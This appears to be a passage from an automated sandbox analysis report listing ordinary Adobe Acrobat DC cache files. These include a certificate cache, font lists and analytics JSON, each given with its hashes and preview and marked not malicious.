SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklO7MtltfllXlE/HT8ki3/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKX7QeT8DTNMa8RdWBwRd
MD5:	45A682A3CE8A453264639243984A158F
SHA1:	F0DE611FCF6169B5AAC54EB5196882919B1F4DEF
SHA-256:	9768EC5911D32BB61FBFFCA03FF4DB404841B6649C28CDD758C1D7ED09914434
SHA-512:	B3C2EFC832AABCC5AEE836BE9495B560CE347F78A20B6C5CADF0CF6A2CA4229244DAE2D97C8224BB207B3983C768B9C3A9D05C5977CA4D179B3BC177E3F59E7C
Malicious:	false
Preview:	p...... .........^..}c..(....................................................... ..........W....G...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7708

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7708

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3371930862489485
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJM3g98kUwPeUkwRe9:YvXKX5l7NyPEZc0vNXZGMbLUkee9
MD5:	8A5C7ED4343665BAF0CF4F03E5FA4B06
SHA1:	094999EEFF87CFBD6CDE29C4C29BB878A52A0B24
SHA-256:	3141F26D970C7E3AB3F2CF84FA1AD50815A079CF1A9B63F0307F2A266FEFF6D0
SHA-512:	C92936B3F6660CBF82C4EEB09C5637998450D4F3A0F3390F3A19CDB06BD32E9709286D3E74E581534AEF81646C297B7445684905611B9F0BEA681466CEBBEE87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284298967970781
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfBoTfXpnrPeUkwRe9:YvXKX5l7NyPEZc0vNXZGWTfXcUkee9
MD5:	EC39C9EB55880917E39959811E844F09
SHA1:	9274CE924216168C97FDEE2954ED2BA3B620EF49
SHA-256:	638B2D163419EDE21D50309D48058B0E77B35ED4A14809D0C7F4A4737A90F75C
SHA-512:	E6EE0A9E446070EE1C865FEE066A9FF90DD469338570381F5470A79C4C4ECA804892EEC5D7801F1F341C87531563BC16DA11751388435AF660A787D2717B2FCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261420409513358
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfBD2G6UpnrPeUkwRe9:YvXKX5l7NyPEZc0vNXZGR22cUkee9
MD5:	E44639ADCD2C6B22025004EACE11D2C5
SHA1:	C0E2B6B7761CC420A0EF58DDA37F461E62D69C08
SHA-256:	36B90E3C554AFE919A0F803A0AA3691E35703AFDED28936BE49FEFE9913161D0
SHA-512:	410EB3A2363AA8A378D29B7702DC703119BE3CF304B741C94CBD0CD9C67319A2936CA81B30AA8B0C68BF23319C9EE6BE30320D4CC07D5ED26BFD64005B96EF5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323285336301361
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfPmwrPeUkwRe9:YvXKX5l7NyPEZc0vNXZGH56Ukee9
MD5:	ACE4CFD6AEBF3CC77668C761F8B4A107
SHA1:	611A1F6B2F5B98BFB4DC785EE3FB8527336EEEE5
SHA-256:	B14837E3C852A5FEED33592206A292DC1FD98139F8C079787F21ABB7DAEA6BEB
SHA-512:	8A3B5AFCC6D4D0E58196F9A9E11DAA884CF2B1C1B8F24C2F8B328FCC6AC3E977D081B880D1F59AB936939CB7473F5EBFE75654FF1B40C8B8F32A69AFAE16AEE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684697287577337
Encrypted:	false
SSDEEP:	24:Yv6X5l7NyPEzvMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSFP:Yv+1vUhgy6SAFv5Ah8cv/FP
MD5:	4CB304FE2F1109804C4C7DDD2C33B9CE
SHA1:	1315DDFB265452679ABED354EA8EB88CC044ECE5
SHA-256:	DC53507B176E8A8F659E856FF29F53370FE181E29216DEA1B777F2F02B6C6FD2
SHA-512:	3485A6648350B24BD00B2F37CA6D0C70D6947DE0FB9C51E103A8E0A99F4E652989B38F098B0F395D063DFDF4E530FAC5234EF708A124DFAA5F10D4C25258AA0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267313385856914
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJf8dPeUkwRe9:YvXKX5l7NyPEZc0vNXZGU8Ukee9
MD5:	0C5A6F252789DC48E6B80E0BA2EB7795
SHA1:	D481B7B78A24DAFC5EEF8E79AF3A59C36F070AC4
SHA-256:	23ADFD9D212115052909281D1BF9C380AA7C706A73D7190890C1B3347C4436E5
SHA-512:	FACF5B6BD795E491E73419075A70368528D791647F6E1DA2006E389E38E7807349688ADD1E099995CF5D418FF762920D0D04254BF0DB8FDE17C58379BC931062
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2718406422548085
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfQ1rPeUkwRe9:YvXKX5l7NyPEZc0vNXZGY16Ukee9
MD5:	2EFA36D2E890C12DBE5DB17C5372BB76
SHA1:	21E82D826EB91642754C10BC2DBA689D1FFE0D3F
SHA-256:	3AE47DC471A7FD58B1D7A2AE07EE682AA0C2D33A21D9170335145CE83F5FB501
SHA-512:	4F1C5580CD62AC9EDD2711DC994F212069D8CBAC5F90743D77E5ABE235A5AE1A4A9E01EA73D136C616A8B9F269D7EEB0A74DDE0B7BE525CC5DDF9DE67E2916D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27632029240958
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfFldPeUkwRe9:YvXKX5l7NyPEZc0vNXZGz8Ukee9
MD5:	18E2E7C30A1E9DB42F997D6DF2397E21
SHA1:	E5774B7A83BE560FECBFD95650894032294B47E0
SHA-256:	7ABDC0E6AD87D2E7BA225407E36BAA206BD4D67497C9767643ACC17D9EF64FFD
SHA-512:	A642CE1C8ECDEDF66424E0FC0E6F3E2488120066E2E4A23A6631C3A9F25EFAE0AA8B10108A8EB27F1E55192A77787547C1CA49E96D2137B5AED0B4ACB4E61E40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.295014964370841
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfzdPeUkwRe9:YvXKX5l7NyPEZc0vNXZGb8Ukee9
MD5:	A43A3BDF13E3FA85B5CD0C0F6576CC69
SHA1:	3457CD2F1D9CE384F23748FAF2FF62A4C3C89B56
SHA-256:	638A5F8B1A8DB8F9E99BCE7F6CF7FB8C77895FCC0B538E36FB190DACA2331865
SHA-512:	C8B0A34F75D82AF2803956819B02B54474B60CFD2B09588BB6AF6B46F0DEC0CD4C480BEBA34CAADB7C6960A5DFE5D5405D1BACD30FF5FACD0C7C9044E187B4A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27515319870409
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfYdPeUkwRe9:YvXKX5l7NyPEZc0vNXZGg8Ukee9
MD5:	5B614274B24117A10113DDD578E84F9F
SHA1:	45809B31EA064102107DDE5F455319F9BA258300
SHA-256:	9066CC088302C8BFCE2B04E530D84C79197714DD8DCAB9DE420EE5E1CA8C6A29
SHA-512:	6C6DAFF5659D045EB42E2BF066F2939F1D2E15AFDE6705DDC2DB2C7E8359E4F30EB8DBF21ECB6073515695288ADE3D33BB85C9C7BD96522BD329CBD29CC30554
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.260766127842176
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJf+dPeUkwRe9:YvXKX5l7NyPEZc0vNXZG28Ukee9
MD5:	DFE2289B695782F030E5FCD33ED4367C
SHA1:	978714BB1F45DFEDE7123A375B08D1914EBE6134
SHA-256:	EDEEA27F7159EC463D76F7B546CC11EF83EDC9BEFEEE56744853432E96DF30A0
SHA-512:	4D1D563F45A6C2269B14E6962DD6096FCD30FD3C40BF895165C049EFDAB5054F50E7E28EAB28AF5851E23D4A211FA3A6CA61D3F0A6AD4CE0265304726502C6AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.258871064771741
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5l7NHSaGR9VoZcg1vRcR0Yifv2DoAvJfbPtdPeUkwRe9:YvXKX5l7NyPEZc0vNXZGDV8Ukee9
MD5:	9853A6C37D24346E9DE22D5B855CFD55
SHA1:	A52BC4E1B99256C86EA4B68E5F716449B6B722BF
SHA-256:	7419A72A4B86D0787A89FC2BCF8F63356F5B552CDDC925F5C7D95F3291FAA462
SHA-512:	8EA5AE96845708AE4307B47D7AADD2D0A49DAF9C78C2239430009B1639D3D18881C7B6ADFA6E13A88A9702A4B9FE8A3F95D389B33B7903896910DECECA60FBEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ca0495d6-c0f7-4489-8ba4-cfdd7e8cdfcf","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736700065524,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

